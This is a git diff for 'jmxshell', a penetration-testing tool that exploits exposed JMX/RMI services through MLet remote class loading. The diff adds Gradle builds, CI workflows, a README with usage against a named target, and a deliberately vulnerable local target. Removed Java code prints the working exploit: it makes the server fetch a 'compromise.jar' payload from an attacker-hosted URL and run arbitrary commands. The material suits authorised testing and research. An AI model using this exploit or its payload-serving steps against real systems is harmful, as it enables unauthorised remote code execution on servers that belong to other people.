diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml new file mode 100644 index 0000000..0669e43 --- /dev/null +++ b/.github/workflows/ci.yml @@ -0,0 +1,95 @@ +name: ci + +on: + push: + branches: + - dev + pull_request: + branches: + - master + - main + - dev + workflow_dispatch: + +env: + FORCE_JAVASCRIPT_ACTIONS_TO_NODE24: 'true' + +jobs: + build: + name: Build & integration-test ${{ matrix.distribution }} JDK ${{ matrix.target }} + runs-on: ubuntu-latest + strategy: + fail-fast: false + matrix: + include: + - target: '8' + distribution: temurin + - target: '11' + distribution: temurin + - target: '17' + distribution: temurin + - target: '21' + distribution: oracle + steps: + - uses: actions/checkout@v4 + + - name: Set up target ${{ matrix.distribution }} JDK ${{ matrix.target }} + uses: actions/setup-java@v4 + with: + java-version: ${{ matrix.target }} + distribution: ${{ matrix.distribution }} + + - name: Set up JDK 21 for Gradle + uses: actions/setup-java@v4 + with: + java-version: '21' + distribution: temurin + + - name: Cache Gradle + uses: actions/cache@v4 + with: + path: | + ~/.gradle/caches + ~/.gradle/wrapper + key: gradle-${{ runner.os }}-${{ hashFiles('**/*.gradle*', 'gradle/wrapper/gradle-wrapper.properties') }} + restore-keys: gradle-${{ runner.os }}- + + - name: Build for JDK ${{ matrix.target }} + run: | + chmod +x gradlew + ./gradlew --no-daemon clean build mletFile \ + -PtargetJdk=${{ matrix.target }} \ + -PmletUrl=http://127.0.0.1:8000 + + - name: Integration test on JDK ${{ matrix.target }} + shell: bash + env: + TARGET_JDK: ${{ matrix.target }} + SKIP_BUILD: '1' + run: | + var="JAVA_HOME_${TARGET_JDK}_X64" + target_home="${!var}" + if [ -z "$target_home" ]; then + echo "Could not resolve target JDK home for $var" >&2 + exit 1 + fi + "$target_home/bin/java" -version + chmod +x scripts/integration-test.sh + JAVA_HOME="$target_home" scripts/integration-test.sh "${TARGET_JDK}" + + - name: Stage release contents + shell: bash + run: | + rm -rf staging + mkdir -p staging/web + cp build/libs/jmxshell-*.jar staging/ + cp build/web/compromise.jar staging/web/ + ls -la staging staging/web + + - name: Upload jdk${{ matrix.target }} artifact + uses: actions/upload-artifact@v4 + with: + name: jmxshell-jdk${{ matrix.target }} + path: staging/ + retention-days: 7 + if-no-files-found: error diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml new file mode 100644 index 0000000..c27a977 --- /dev/null +++ b/.github/workflows/release.yml @@ -0,0 +1,90 @@ +name: release + +on: + push: + tags: + - 'v*' + workflow_dispatch: + +env: + FORCE_JAVASCRIPT_ACTIONS_TO_NODE24: 'true' + +jobs: + build: + name: Build & integration-test ${{ matrix.distribution }} JDK ${{ matrix.target }} + runs-on: ubuntu-latest + strategy: + fail-fast: false + matrix: + include: + - target: '8' + distribution: temurin + - target: '11' + distribution: temurin + - target: '17' + distribution: temurin + - target: '21' + distribution: oracle + steps: + - uses: actions/checkout@v4 + + - name: Set up target ${{ matrix.distribution }} JDK ${{ matrix.target }} + uses: actions/setup-java@v4 + with: + java-version: ${{ matrix.target }} + distribution: ${{ matrix.distribution }} + + - name: Set up JDK 21 for Gradle + uses: actions/setup-java@v4 + with: + java-version: '21' + distribution: temurin + + - name: Cache Gradle + uses: actions/cache@v4 + with: + path: | + ~/.gradle/caches + ~/.gradle/wrapper + key: gradle-${{ runner.os }}-${{ hashFiles('**/*.gradle*', 'gradle/wrapper/gradle-wrapper.properties') }} + restore-keys: gradle-${{ runner.os }}- + + - name: Build for JDK ${{ matrix.target }} + run: | + chmod +x gradlew + ./gradlew --no-daemon clean build mletFile \ + -PtargetJdk=${{ matrix.target }} \ + -PmletUrl=http://127.0.0.1:8000 + + - name: Integration test on JDK ${{ matrix.target }} + shell: bash + env: + TARGET_JDK: ${{ matrix.target }} + SKIP_BUILD: '1' + run: | + var="JAVA_HOME_${TARGET_JDK}_X64" + target_home="${!var}" + if [ -z "$target_home" ]; then + echo "Could not resolve target JDK home for $var" >&2 + exit 1 + fi + "$target_home/bin/java" -version + chmod +x scripts/integration-test.sh + JAVA_HOME="$target_home" scripts/integration-test.sh "${TARGET_JDK}" + + - name: Stage release contents + shell: bash + run: | + rm -rf staging + mkdir -p staging/web + cp build/libs/jmxshell-*.jar staging/ + cp build/web/compromise.jar staging/web/ + ls -la staging staging/web + + - name: Upload jdk${{ matrix.target }} artifact + uses: actions/upload-artifact@v4 + with: + name: jmxshell-jdk${{ matrix.target }} + path: staging/ + retention-days: 30 + if-no-files-found: error diff --git a/.gitignore b/.gitignore index 6143e53..4b84975 100644 --- a/.gitignore +++ b/.gitignore @@ -20,3 +20,14 @@ # virtual machine crash logs, see http://www.java.com/en/download/help/error_hotspot.xml hs_err_pid* + +# Gradle +.gradle/ +build/ +!gradle/wrapper/gradle-wrapper.jar + +# IDE +.idea/ +*.iml +.vscode/ +.DS_Store diff --git a/CleanupMbean.java b/CleanupMbean.java deleted file mode 100644 index ca5f0bf..0000000 --- a/CleanupMbean.java +++ /dev/null @@ -1,48 +0,0 @@ -import javax.management.remote.*; -import javax.management.*; -import java.util.*; -import java.lang.*; -import java.io.*; -import java.net.*; -import com.sun.net.httpserver.*; - -public class CleanupMbean { - - public static void main(String[] args) { - try { - cleanup(args[0], args[1]); - } catch (Exception e) { - e.printStackTrace(); - } - } - - static void cleanup(String serverName, String port) { - try { - JMXServiceURL u = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + serverName + ":" + port + "/jmxrmi"); - System.out.println("URL: "+u+", connecting"); - - JMXConnector c = JMXConnectorFactory.connect(u); - - System.out.println("Connected: " + c.getConnectionId()); - - MBeanServerConnection m = c.getMBeanServerConnection(); - - for (ObjectInstance x : m.queryMBeans(null, null)) { - System.out.println("Checking " + x.getObjectName().toString()); - if (x.getObjectName().toString().startsWith("DefaultDomain:type=MLet") - || - (x.getObjectName().toString().startsWith("MLetCompromise")) - || - (x.getObjectName().toString().startsWith("MLet")) - ){ - System.out.println("Removing" + x.getObjectName().toString()); - m.unregisterMBean(x.getObjectName()); - } - } - System.out.println("Exiting after cleanup"); - System.exit(0); - } catch (Exception e) { - e.printStackTrace(); - } - } -} diff --git a/Makefile b/Makefile deleted file mode 100644 index 327e580..0000000 --- a/Makefile +++ /dev/null @@ -1,30 +0,0 @@ -# jmxshell - -ifndef JAVAC -override JAVAC = javac -endif - -all: cleanup remote eviljar mletfile - -remote: - @echo Building RemoteMbean - @$(JAVAC) RemoteMbean.java - -cleanup: - @echo Building CleanupMbean - @$(JAVAC) CleanupMbean.java - -eviljar: - @echo Building Evil Jar - @rm -f com/braden/Evil*.class - @$(JAVAC) com/braden/EvilMBean.java com/braden/Evil.java - @rm -f web/compromise.jar - @jar cfm web/compromise.jar manifest com/braden/Evil*.class - -mletfile: - @if [[ "x$(URL)" = "x" ]];then echo "Error: URL= variable not passed"; exit 1;fi - @echo "Creating mlet file to serve web/compromise.jar from $(URL)" - @perl -p -e 's!__URL__!$(URL)!' web/woot.template > web/woot.html - -clean: - @rm -f RemoteMbean.class CleanupMbean.class com/braden/Evil*.class web/compromise.jar web/woot.html diff --git a/README.md b/README.md index 04e65f3..5152f78 100644 --- a/README.md +++ b/README.md @@ -1,3 +1,119 @@ # jmxshell +[![CI](https://github.com/mirchr/jmxshell/actions/workflows/ci.yml/badge.svg)](https://github.com/mirchr/jmxshell/actions/workflows/ci.yml) +[![Release](https://github.com/mirchr/jmxshell/actions/workflows/release.yml/badge.svg)](https://github.com/mirchr/jmxshell/actions/workflows/release.yml) + A fork of [https://www.optiv.com/blog/exploiting-jmx-rmi](https://web.archive.org/web/20190717050808/https://www.optiv.com/blog/exploiting-jmx-rmi). Braden Thomas did a great job of documenting and providing a working PoC for exploiting Java application servers using JMX/RMI. This version aims to make that code more usable by making small tweaks to the interface and extending the capabilities. + +## Building + +The project uses Gradle and produces Java 8 compatible bytecode by default, so the produced jars run on any JRE 8+. + +```sh +./gradlew build # default: target JDK 8 +./gradlew build -PtargetJdk=11 # target JDK 11 +./gradlew build -PtargetJdk=25 # target JDK 25 +``` + +Outputs: +- `build/libs/jmxshell-.jar` — unified client (exploit + cleanup in a single executable jar) +- `build/web/compromise.jar` — MLet payload served to the target JVM +- `build/target/jmx-target.jar` — standalone deliberately-vulnerable JMX target for local testing +- `build/distributions/jmxshell--jdk.zip` — bundled client + payload zip + +To render `web/woot.html` from the template for a specific URL serving `compromise.jar`: + +```sh +./gradlew mletFile -PmletUrl=http://10.0.0.1:8000 +# writes build/web/woot.html +``` + +## Usage + +``` +jmxshell --host --port --command --url [--username --password

] +jmxshell --host --port --cleanup [--username --password

] +``` + +Options: + +| Option | Description | +| --- | --- | +| `--host ` | JMX RMI server hostname or IP | +| `--port ` | JMX RMI server port | +| `--command ` | Command to execute on the target (exploit mode) | +| `--url ` | Base URL serving `woot.html` and `compromise.jar` | +| `--cleanup` | Remove MLet beans previously installed by this tool | +| `--username ` | JMX username — must be paired with `--password` | +| `--password

` | JMX password — must be paired with `--username` | +| `--help`, `-h` | Print help and exit | +| `--version`, `-V` | Print version and exit | + +If neither `--username` nor `--password` is supplied, the connection is anonymous (the original behavior). Supplying only one of the two is rejected with a usage error. + +## Example + +In one terminal, serve the payload and mlet definition over HTTP: + +```sh +./gradlew build mletFile -PmletUrl=http://10.0.0.1:8000 +cd build/web && python3 -m http.server 8000 +``` + +In another, drive the target: + +```sh +java -jar build/libs/jmxshell-1.0.0.jar \ + --host target.example.com --port 1099 \ + --command 'id' --url http://10.0.0.1:8000 +``` + +When done, remove the registered MBeans: + +```sh +java -jar build/libs/jmxshell-1.0.0.jar --host target.example.com --port 1099 --cleanup +``` + +## Trying it locally + +The build ships a standalone vulnerable JMX target (`build/target/jmx-target.jar`) so you can exercise jmxshell end-to-end without finding a real target. **Do not run this on a host reachable from an untrusted network.** + +Use three terminals. + +**Terminal 1 — start the vulnerable target on port 1099:** + +```sh +./gradlew runTarget # binds 127.0.0.1:1099, no auth, no SSL +``` + +**Terminal 2 — serve the MLet payload on port 8000:** + +```sh +./gradlew build mletFile -PmletUrl=http://127.0.0.1:8000 +cd build/web && python3 -m http.server 8000 +``` + +**Terminal 3 — drive the exploit:** + +```sh +java -jar build/libs/jmxshell-1.0.0.jar \ + --host 127.0.0.1 --port 1099 \ + --command /bin/id \ + --url http://127.0.0.1:8000 + +java -jar build/libs/jmxshell-1.0.0.jar --host 127.0.0.1 --port 1099 --cleanup +``` + +Or run all of the above as a single end-to-end test that asserts `/bin/id` returns a `uid=` line: + +```sh +scripts/integration-test.sh # uses the JDK 8 build +scripts/integration-test.sh 21 # uses the JDK 21 build +JAVA_HOME=/path/to/jdk25 scripts/integration-test.sh 25 +``` + +## CI + +GitHub Actions runs the same matrix on every push to `dev` (CI) and on every `v*` tag (Release): build with the requested target JDK, run the integration test using that same JDK for both the target app and the jmxshell client, then upload `jmxshell-jdk` as an artifact. Targets covered: Temurin JDK 8, 11, and 17, and Oracle JDK 21. + +> JDK 23+ note: `javax.management.loading.MLet` was removed from the JDK in version 23 ([JDK-8297948](https://bugs.openjdk.org/browse/JDK-8297948)), so the MLet-based exploit primitive cannot succeed against a JDK 23+ target. JDK 25 is therefore not in the build matrix; the jmxshell client jar would build fine but the integration test cannot pass against a JDK 23+ target. diff --git a/RemoteMbean.java b/RemoteMbean.java deleted file mode 100644 index dadad42..0000000 --- a/RemoteMbean.java +++ /dev/null @@ -1,93 +0,0 @@ -import javax.management.remote.*; -import javax.management.*; -import java.util.*; -import java.lang.*; -import java.io.*; -import java.net.*; -import com.sun.net.httpserver.*; - -public class RemoteMbean { - private static String OBJECTNAME = "MLetCompromise:name=evil,id=2"; - - public static void main(String[] args) { - try { - connectAndOwn(args[0], args[1], args[2], args[3]); - } catch (Exception e) { - e.printStackTrace(); - } - } - - static void connectAndOwn(String serverName, String port, String command, String localIP) { - try { - JMXServiceURL u = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + serverName + ":" + port + "/jmxrmi"); - System.out.println("URL: "+u+", connecting"); - - /* - Map env = new HashMap(); - String[] creds = {"username", "password"}; - env.put(JMXConnector.CREDENTIALS, creds); - - JMXConnector c = JMXConnectorFactory.connect(u, env); - */ - - JMXConnector c = JMXConnectorFactory.connect(u); - - System.out.println("Connected: " + c.getConnectionId()); - - MBeanServerConnection m = c.getMBeanServerConnection(); - - /* XXX: add cleanup option - for (ObjectInstance x : m.queryMBeans(null, null)) { - System.out.println("Checking " + x.getObjectName().toString()); - if (x.getObjectName().toString().startsWith("DefaultDomain:type=MLet") - || - (x.getObjectName().toString().startsWith("MLetCompromise")) - ){ - System.out.println("Removing" + x.getObjectName().toString()); - m.unregisterMBean(x.getObjectName()); - } - } - System.out.println("Exiting after cleanup"); - System.exit(0); - */ - ObjectInstance evil_bean = null; - try { - evil_bean = m.getObjectInstance(new ObjectName(OBJECTNAME)); - } catch (Exception e) { - evil_bean = null; - } - - if (evil_bean == null) { - System.out.println("Trying to create bean..."); - ObjectInstance evil = null; - try { - evil = m.createMBean("javax.management.loading.MLet", null); - } catch (javax.management.InstanceAlreadyExistsException e) { - System.out.println("DefaultDomain:type=MLet already exists"); - evil = m.getObjectInstance(new ObjectName("DefaultDomain:type=MLet")); - } - System.out.println("Loaded "+evil.getClassName()); - - System.out.println("Sending IP:"+localIP); - Object res = m.invoke(evil.getObjectName(), "getMBeansFromURL", - new Object[] { String.format("%s/woot.html", localIP) }, - new String[] { String.class.getName() } - ); - HashSet res_set = ((HashSet)res); - Iterator itr = res_set.iterator(); - Object nextObject = itr.next(); - System.out.println("nextObject = " + nextObject.toString()); - if (nextObject instanceof Exception) { - throw ((Exception)nextObject); - } - evil_bean = ((ObjectInstance)nextObject); - } - System.out.println("Loaded class: "+evil_bean.getClassName()+" object "+evil_bean.getObjectName()); - System.out.println("Calling runCommand with: "+command); - Object result = m.invoke(evil_bean.getObjectName(), "runCommand", new Object[]{ command }, new String[]{ String.class.getName() }); - System.out.println("Result: "+result); - } catch (Exception e) { - e.printStackTrace(); - } - } -} diff --git a/build.gradle b/build.gradle new file mode 100644 index 0000000..ba6b94f --- /dev/null +++ b/build.gradle @@ -0,0 +1,146 @@ +plugins { + id 'java' +} + +group = 'com.jmxshell' +version = '1.0.0' + +// Target JDK for the build. Pass -PtargetJdk=<8|11|17|21|25> to produce +// bytecode for that release. Defaults to 8 so the no-arg build keeps the +// broadest compatibility. +def targetJdk = (project.findProperty('targetJdk') ?: '8').toString() + +java { + toolchain { + languageVersion = JavaLanguageVersion.of(targetJdk) + } +} + +repositories { + mavenCentral() +} + +sourceSets { + payload { + java { + srcDirs = ['src/payload/java'] + } + } + target { + java { + srcDirs = ['src/target/java'] + } + } +} + +// Main client jar — the unified executable that supports exploit and --cleanup modes. +jar { + archiveBaseName = 'jmxshell' + manifest { + attributes( + 'Main-Class': 'com.jmxshell.JmxShell', + 'Implementation-Title': 'jmxshell', + 'Implementation-Version': project.version, + 'Build-Jdk-Target': targetJdk + ) + } +} + +// Payload jar served to the target JVM via MLet. The class name and JAR name +// must match what the woot.html mlet definition references. +tasks.register('payloadJar', Jar) { + group = 'build' + description = 'Builds the compromise.jar MLet payload served to the target JVM' + archiveBaseName = 'compromise' + archiveVersion = '' + from sourceSets.payload.output + manifest { + attributes 'Main-Class': 'com.braden.Evil' + } + destinationDirectory = layout.buildDirectory.dir('web') +} + +// Renders woot.html from the template using -PmletUrl=. +tasks.register('mletFile') { + group = 'build' + description = 'Generates web/woot.html from the template (requires -PmletUrl=)' + def template = file('src/main/resources/web/woot.template') + def outputFile = layout.buildDirectory.file('web/woot.html') + inputs.file template + inputs.property('mletUrl', providers.gradleProperty('mletUrl').orElse('')) + outputs.file outputFile + doLast { + def url = providers.gradleProperty('mletUrl').orNull + if (!url) { + throw new GradleException( + "Missing -PmletUrl=. Example: ./gradlew mletFile -PmletUrl=http://10.0.0.1:8000") + } + def out = outputFile.get().asFile + out.parentFile.mkdirs() + out.text = template.text.replace('__URL__', url) + println "Wrote ${out} for url ${url}" + } +} + +// Standalone vulnerable JMX target for trying jmxshell locally and for the +// integration test. Bytecode targets the same -PtargetJdk as jmxshell so the +// matrix can prove "client and server both work on JDK N". +tasks.register('targetJar', Jar) { + group = 'distribution' + description = 'Builds the standalone vulnerable JMX target (jmx-target.jar)' + archiveBaseName = 'jmx-target' + archiveVersion = '' + from sourceSets.target.output + manifest { + attributes( + 'Main-Class': 'com.jmxshell.target.JmxTarget', + 'Implementation-Title': 'jmx-target', + 'Implementation-Version': project.version, + 'Build-Jdk-Target': targetJdk + ) + } + destinationDirectory = layout.buildDirectory.dir('target') +} + +// Convenience runner: ./gradlew runTarget [-PjmxPort=1099] +tasks.register('runTarget', JavaExec) { + group = 'application' + description = 'Runs the vulnerable JMX target on 127.0.0.1:1099 (no auth, no SSL)' + dependsOn tasks.named('targetClasses') + classpath = sourceSets.target.runtimeClasspath + mainClass = 'com.jmxshell.target.JmxTarget' + def jmxPort = (project.findProperty('jmxPort') ?: '1099').toString() + systemProperty 'com.sun.management.jmxremote', 'true' + systemProperty 'com.sun.management.jmxremote.port', jmxPort + systemProperty 'com.sun.management.jmxremote.rmi.port', jmxPort + systemProperty 'com.sun.management.jmxremote.authenticate', 'false' + systemProperty 'com.sun.management.jmxremote.ssl', 'false' + systemProperty 'com.sun.management.jmxremote.local.only', 'false' + systemProperty 'java.rmi.server.hostname', '127.0.0.1' + standardInput = System.in +} + +// Bundles the client jar and compromise.jar (under web/) into one zip, +// with both the jmxshell version and the target JDK encoded in the filename. +// e.g. build/distributions/jmxshell-1.0.0-jdk8.zip +tasks.register('distZip', Zip) { + group = 'distribution' + description = 'Packages jmxshell.jar and web/compromise.jar into a single zip' + dependsOn jar, tasks.named('payloadJar') + archiveBaseName = 'jmxshell' + archiveVersion = project.version.toString() + archiveClassifier = "jdk${targetJdk}" + destinationDirectory = layout.buildDirectory.dir('distributions') + + from(jar.archiveFile) + from(tasks.named('payloadJar').flatMap { it.archiveFile }) { + into 'web' + } +} + +assemble.dependsOn payloadJar, distZip, targetJar + +wrapper { + gradleVersion = '8.14.1' + distributionType = Wrapper.DistributionType.BIN +} diff --git a/gradle/wrapper/gradle-wrapper.jar b/gradle/wrapper/gradle-wrapper.jar new file mode 100644 index 0000000..e644113 Binary files /dev/null and b/gradle/wrapper/gradle-wrapper.jar differ diff --git a/gradle/wrapper/gradle-wrapper.properties b/gradle/wrapper/gradle-wrapper.properties new file mode 100644 index 0000000..002b867 --- /dev/null +++ b/gradle/wrapper/gradle-wrapper.properties @@ -0,0 +1,7 @@ +distributionBase=GRADLE_USER_HOME +distributionPath=wrapper/dists +distributionUrl=https\://services.gradle.org/distributions/gradle-8.14.1-bin.zip +networkTimeout=10000 +validateDistributionUrl=true +zipStoreBase=GRADLE_USER_HOME +zipStorePath=wrapper/dists diff --git a/gradlew b/gradlew new file mode 100755 index 0000000..1aa94a4 --- /dev/null +++ b/gradlew @@ -0,0 +1,249 @@ +#!/bin/sh + +# +# Copyright © 2015-2021 the original authors. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# https://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +############################################################################## +# +# Gradle start up script for POSIX generated by Gradle. +# +# Important for running: +# +# (1) You need a POSIX-compliant shell to run this script. If your /bin/sh is +# noncompliant, but you have some other compliant shell such as ksh or +# bash, then to run this script, type that shell name before the whole +# command line, like: +# +# ksh Gradle +# +# Busybox and similar reduced shells will NOT work, because this script +# requires all of these POSIX shell features: +# * functions; +# * expansions «$var», «${var}», «${var:-default}», «${var+SET}», +# «${var#prefix}», «${var%suffix}», and «$( cmd )»; +# * compound commands having a testable exit status, especially «case»; +# * various built-in commands including «command», «set», and «ulimit». +# +# Important for patching: +# +# (2) This script targets any POSIX shell, so it avoids extensions provided +# by Bash, Ksh, etc; in particular arrays are avoided. +# +# The "traditional" practice of packing multiple parameters into a +# space-separated string is a well documented source of bugs and security +# problems, so this is (mostly) avoided, by progressively accumulating +# options in "$@", and eventually passing that to Java. +# +# Where the inherited environment variables (DEFAULT_JVM_OPTS, JAVA_OPTS, +# and GRADLE_OPTS) rely on word-splitting, this is performed explicitly; +# see the in-line comments for details. +# +# There are tweaks for specific operating systems such as AIX, CygWin, +# Darwin, MinGW, and NonStop. +# +# (3) This script is generated from the Groovy template +# https://github.com/gradle/gradle/blob/HEAD/subprojects/plugins/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt +# within the Gradle project. +# +# You can find Gradle at https://github.com/gradle/gradle/. +# +############################################################################## + +# Attempt to set APP_HOME + +# Resolve links: $0 may be a link +app_path=$0 + +# Need this for daisy-chained symlinks. +while + APP_HOME=${app_path%"${app_path##*/}"} # leaves a trailing /; empty if no leading path + [ -h "$app_path" ] +do + ls=$( ls -ld "$app_path" ) + link=${ls#*' -> '} + case $link in #( + /*) app_path=$link ;; #( + *) app_path=$APP_HOME$link ;; + esac +done + +# This is normally unused +# shellcheck disable=SC2034 +APP_BASE_NAME=${0##*/} +# Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036) +APP_HOME=$( cd "${APP_HOME:-./}" > /dev/null && pwd -P ) || exit + +# Use the maximum available, or set MAX_FD != -1 to use that value. +MAX_FD=maximum + +warn () { + echo "$*" +} >&2 + +die () { + echo + echo "$*" + echo + exit 1 +} >&2 + +# OS specific support (must be 'true' or 'false'). +cygwin=false +msys=false +darwin=false +nonstop=false +case "$( uname )" in #( + CYGWIN* ) cygwin=true ;; #( + Darwin* ) darwin=true ;; #( + MSYS* | MINGW* ) msys=true ;; #( + NONSTOP* ) nonstop=true ;; +esac + +CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar + + +# Determine the Java command to use to start the JVM. +if [ -n "$JAVA_HOME" ] ; then + if [ -x "$JAVA_HOME/jre/sh/java" ] ; then + # IBM's JDK on AIX uses strange locations for the executables + JAVACMD=$JAVA_HOME/jre/sh/java + else + JAVACMD=$JAVA_HOME/bin/java + fi + if [ ! -x "$JAVACMD" ] ; then + die "ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME + +Please set the JAVA_HOME variable in your environment to match the +location of your Java installation." + fi +else + JAVACMD=java + if ! command -v java >/dev/null 2>&1 + then + die "ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. + +Please set the JAVA_HOME variable in your environment to match the +location of your Java installation." + fi +fi + +# Increase the maximum file descriptors if we can. +if ! "$cygwin" && ! "$darwin" && ! "$nonstop" ; then + case $MAX_FD in #( + max*) + # In POSIX sh, ulimit -H is undefined. That's why the result is checked to see if it worked. + # shellcheck disable=SC2039,SC3045 + MAX_FD=$( ulimit -H -n ) || + warn "Could not query maximum file descriptor limit" + esac + case $MAX_FD in #( + '' | soft) :;; #( + *) + # In POSIX sh, ulimit -n is undefined. That's why the result is checked to see if it worked. + # shellcheck disable=SC2039,SC3045 + ulimit -n "$MAX_FD" || + warn "Could not set maximum file descriptor limit to $MAX_FD" + esac +fi + +# Collect all arguments for the java command, stacking in reverse order: +# * args from the command line +# * the main class name +# * -classpath +# * -D...appname settings +# * --module-path (only if needed) +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and GRADLE_OPTS environment variables. + +# For Cygwin or MSYS, switch paths to Windows format before running java +if "$cygwin" || "$msys" ; then + APP_HOME=$( cygpath --path --mixed "$APP_HOME" ) + CLASSPATH=$( cygpath --path --mixed "$CLASSPATH" ) + + JAVACMD=$( cygpath --unix "$JAVACMD" ) + + # Now convert the arguments - kludge to limit ourselves to /bin/sh + for arg do + if + case $arg in #( + -*) false ;; # don't mess with options #( + /?*) t=${arg#/} t=/${t%%/*} # looks like a POSIX filepath + [ -e "$t" ] ;; #( + *) false ;; + esac + then + arg=$( cygpath --path --ignore --mixed "$arg" ) + fi + # Roll the args list around exactly as many times as the number of + # args, so each arg winds up back in the position where it started, but + # possibly modified. + # + # NB: a `for` loop captures its iteration list before it begins, so + # changing the positional parameters here affects neither the number of + # iterations, nor the values presented in `arg`. + shift # remove old arg + set -- "$@" "$arg" # push replacement arg + done +fi + + +# Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. +DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' + +# Collect all arguments for the java command: +# * DEFAULT_JVM_OPTS, JAVA_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, +# and any embedded shellness will be escaped. +# * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be +# treated as '${Hostname}' itself on the command line. + +set -- \ + "-Dorg.gradle.appname=$APP_BASE_NAME" \ + -classpath "$CLASSPATH" \ + org.gradle.wrapper.GradleWrapperMain \ + "$@" + +# Stop when "xargs" is not available. +if ! command -v xargs >/dev/null 2>&1 +then + die "xargs is not available" +fi + +# Use "xargs" to parse quoted args. +# +# With -n1 it outputs one arg per line, with the quotes and backslashes removed. +# +# In Bash we could simply go: +# +# readarray ARGS < <( xargs -n1 <<<"$var" ) && +# set -- "${ARGS[@]}" "$@" +# +# but POSIX shell has neither arrays nor command substitution, so instead we +# post-process each arg (as a line of input to sed) to backslash-escape any +# character that might be a shell metacharacter, then use eval to reverse +# that process (while maintaining the separation between arguments), and wrap +# the whole thing up as a single "set" statement. +# +# This will of course break if any of these variables contains a newline or +# an unmatched quote. +# + +eval "set -- $( + printf '%s\n' "$DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS" | + xargs -n1 | + sed ' s~[^-[:alnum:]+,./:=@_]~\\&~g; ' | + tr '\n' ' ' + )" '"$@"' + +exec "$JAVACMD" "$@" diff --git a/gradlew.bat b/gradlew.bat new file mode 100644 index 0000000..7101f8e --- /dev/null +++ b/gradlew.bat @@ -0,0 +1,92 @@ +@rem +@rem Copyright 2015 the original author or authors. +@rem +@rem Licensed under the Apache License, Version 2.0 (the "License"); +@rem you may not use this file except in compliance with the License. +@rem You may obtain a copy of the License at +@rem +@rem https://www.apache.org/licenses/LICENSE-2.0 +@rem +@rem Unless required by applicable law or agreed to in writing, software +@rem distributed under the License is distributed on an "AS IS" BASIS, +@rem WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +@rem See the License for the specific language governing permissions and +@rem limitations under the License. +@rem + +@if "%DEBUG%"=="" @echo off +@rem ########################################################################## +@rem +@rem Gradle startup script for Windows +@rem +@rem ########################################################################## + +@rem Set local scope for the variables with windows NT shell +if "%OS%"=="Windows_NT" setlocal + +set DIRNAME=%~dp0 +if "%DIRNAME%"=="" set DIRNAME=. +@rem This is normally unused +set APP_BASE_NAME=%~n0 +set APP_HOME=%DIRNAME% + +@rem Resolve any "." and ".." in APP_HOME to make it shorter. +for %%i in ("%APP_HOME%") do set APP_HOME=%%~fi + +@rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. +set DEFAULT_JVM_OPTS="-Xmx64m" "-Xms64m" + +@rem Find java.exe +if defined JAVA_HOME goto findJavaFromJavaHome + +set JAVA_EXE=java.exe +%JAVA_EXE% -version >NUL 2>&1 +if %ERRORLEVEL% equ 0 goto execute + +echo. 1>&2 +echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 + +goto fail + +:findJavaFromJavaHome +set JAVA_HOME=%JAVA_HOME:"=% +set JAVA_EXE=%JAVA_HOME%/bin/java.exe + +if exist "%JAVA_EXE%" goto execute + +echo. 1>&2 +echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 + +goto fail + +:execute +@rem Setup the command line + +set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar + + +@rem Execute Gradle +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* + +:end +@rem End local scope for the variables with windows NT shell +if %ERRORLEVEL% equ 0 goto mainEnd + +:fail +rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of +rem the _cmd.exe /c_ return code! +set EXIT_CODE=%ERRORLEVEL% +if %EXIT_CODE% equ 0 set EXIT_CODE=1 +if not ""=="%GRADLE_EXIT_CONSOLE%" exit %EXIT_CODE% +exit /b %EXIT_CODE% + +:mainEnd +if "%OS%"=="Windows_NT" endlocal + +:omega diff --git a/manifest b/manifest deleted file mode 100644 index 6f059e8..0000000 --- a/manifest +++ /dev/null @@ -1 +0,0 @@ -Main-Class: com.braden.Evil diff --git a/scripts/integration-test.sh b/scripts/integration-test.sh new file mode 100755 index 0000000..a537380 --- /dev/null +++ b/scripts/integration-test.sh @@ -0,0 +1,159 @@ +#!/usr/bin/env bash +# +# End-to-end test for jmxshell. Stands up the standalone vulnerable +# target (build/target/jmx-target.jar) on 127.0.0.1:1099 (no auth, no SSL), +# serves compromise.jar over HTTP, runs the matching jmxshell client, and +# asserts the `/bin/id` invocation came back with a uid= line. +# +# Usage: +# scripts/integration-test.sh # target JDK 8 by default +# scripts/integration-test.sh 11 # use the jdk11 build +# JAVA_HOME=/path/to/jdk21 scripts/integration-test.sh 21 +# +# Env vars: +# SKIP_BUILD=1 Skip the gradle build step (caller has already built) +# HTTP_PORT HTTP port for serving compromise.jar (default 8000) +# JMX_PORT JMX/RMI port the 